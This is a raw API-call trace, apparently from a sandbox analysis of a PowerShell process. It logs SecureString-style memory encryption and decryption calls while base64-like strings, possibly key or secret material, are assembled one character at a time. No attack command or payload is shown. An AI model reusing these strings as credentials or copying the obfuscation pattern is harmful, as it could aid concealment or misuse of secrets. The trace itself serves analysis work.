(param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\x626e\x5b7d\xc609\x9c42\xc40a\x5c14\xa8ff\x78f1") returned 0x28 [0135.358] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.358] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKgEuit3lᱍ癱ᅃ遣") returned 0x28 [0135.358] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.358] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xfeee\x95f4\x6706\x74dc\x9bd5\x7ae6\x516\x46e5") returned 0x28 [0135.358] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xfeee\x95f4\x6706\x74dc\x9bd5\x7ae6\x516\x46e5") returned 0x28 [0135.358] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.358] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKgEuit3l5癱ᅃ遣") returned 0x28 [0135.358] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.358] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\x9b07\x2112\xc39d\xa6e9\xcc19\xcab2\x83c\x8b70") returned 0x28 [0135.358] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\x9b07\x2112\xc39d\xa6e9\xcc19\xcab2\x83c\x8b70") returned 0x28 [0135.358] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.358] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKgEuit3l5Tᅃ遣") returned 0x28 [0135.358] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.358] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xe02e\x79c1\xb695\x9c71\xfb03\xf781\xd34a\xef3e") returned 0x28 [0135.358] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xe02e\x79c1\xb695\x9c71\xfb03\xf781\xd34a\xef3e") returned 0x28 [0135.358] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.358] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKgEuit3l5TX遣") returned 0x28 [0135.358] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.359] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\x2185\xeab3\x88b2\xabc4\x5b0a\x7c11\x3221\x3026") returned 0x28 [0135.359] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\x2185\xeab3\x88b2\xabc4\x5b0a\x7c11\x3221\x3026") returned 0x28 [0135.359] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.359] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKgEuit3l5TXC") returned 0x28 [0135.359] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.359] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xd111\xb59\xc01c\xe683\x43a4\x1aa6\x213a\xe305") returned 0x28 [0135.359] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xd111\xb59\xc01c\xe683\x43a4\x1aa6\x213a\xe305") returned 0x28 [0135.359] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xd111\xb59\xc01c\xe683\x43a4\x1aa6\x213a\xe305") returned 0x28 [0135.359] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xd111\xb59\xc01c\xe683\x43a4\x1aa6\x213a\xe305\x53\x77\x4a\x41\x46\x4a\x6a\x61") returned 0x30 [0135.359] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0135.359] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKgEuit3l5TXCn䪼＀ꖎ㚈٩焓") returned 0x30 [0135.359] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0135.359] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xd111\xb59\xc01c\xe683\x43a4\x1aa6\x213a\xe305\xd457\xe609\xf218\x491c\x80b2\x4cf4\xeec0\xf7c6") returned 0x30 [0135.359] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xd111\xb59\xc01c\xe683\x43a4\x1aa6\x213a\xe305\xd457\xe609\xf218\x491c\x80b2\x4cf4\xeec0\xf7c6") returned 0x30 [0135.359] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0135.359] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKgEuit3l5TXCnQ＀ꖎ㚈٩焓") returned 0x30 [0135.359] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0135.359] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xd111\xb59\xc01c\xe683\x43a4\x1aa6\x213a\xe305\x157c\xef11\x4fdc\x2394\x3ac\x6124\xd22\xb13c") returned 0x30 [0135.359] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xd111\xb59\xc01c\xe683\x43a4\x1aa6\x213a\xe305\x157c\xef11\x4fdc\x2394\x3ac\x6124\xd22\xb13c") returned 0x30 [0135.359] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0135.359] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKgEuit3l5TXCnQIꖎ㚈٩焓") returned 0x30 [0135.359] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0135.359] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xd111\xb59\xc01c\xe683\x43a4\x1aa6\x213a\xe305\x8f6e\x7aee\xde36\x4876\x9515\xfdaf\xbcd8\x9646") returned 0x30 [0135.360] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xd111\xb59\xc01c\xe683\x43a4\x1aa6\x213a\xe305\x8f6e\x7aee\xde36\x4876\x9515\xfdaf\xbcd8\x9646") returned 0x30 [0135.360] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0135.360] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKgEuit3l5TXCnQI=ꖎ㚈٩焓") returned 0x30 [0135.360] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0135.360] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.360] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.360] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.360] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0135.360] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.360] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.360] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.360] SysStringLen (param_1="") returned 0x8 [0135.360] SysStringLen (param_1="Y") returned 0x8 [0135.360] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.361] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.361] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.361] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.361] SysStringLen (param_1="YW") returned 0x8 [0135.361] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.361] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.361] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.361] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.361] SysStringLen (param_1="YWM") returned 0x8 [0135.361] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.361] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.361] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.361] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.361] SysStringLen (param_1="YWM1") returned 0x8 [0135.361] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.361] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.361] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.361] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.361] SysStringLen (param_1="YWM1O") returned 0x8 [0135.361] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.361] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.362] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.362] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.362] SysStringLen (param_1="YWM1OT") returned 0x8 [0135.362] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.362] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.362] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.362] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.362] SysStringLen (param_1="YWM1OTE") returned 0x8 [0135.362] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.362] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.362] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.362] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.362] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0135.362] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.362] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.362] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.362] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.362] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0135.362] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.362] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0135.362] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.362] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.362] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.363] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.363] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0135.363] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.363] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.363] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.363] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.363] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0135.363] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.363] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.363] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.363] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.363] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0135.363] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.363] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.363] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.363] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.363] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0135.363] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.363] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.363] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.363] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.363] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0135.364] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.364] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.364] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0135.364] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.364] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.364] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0135.364] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0135.364] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.364] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0135.364] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.364] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.364] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.365] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0135.365] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.365] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.365] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.365] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.365] SysStringLen 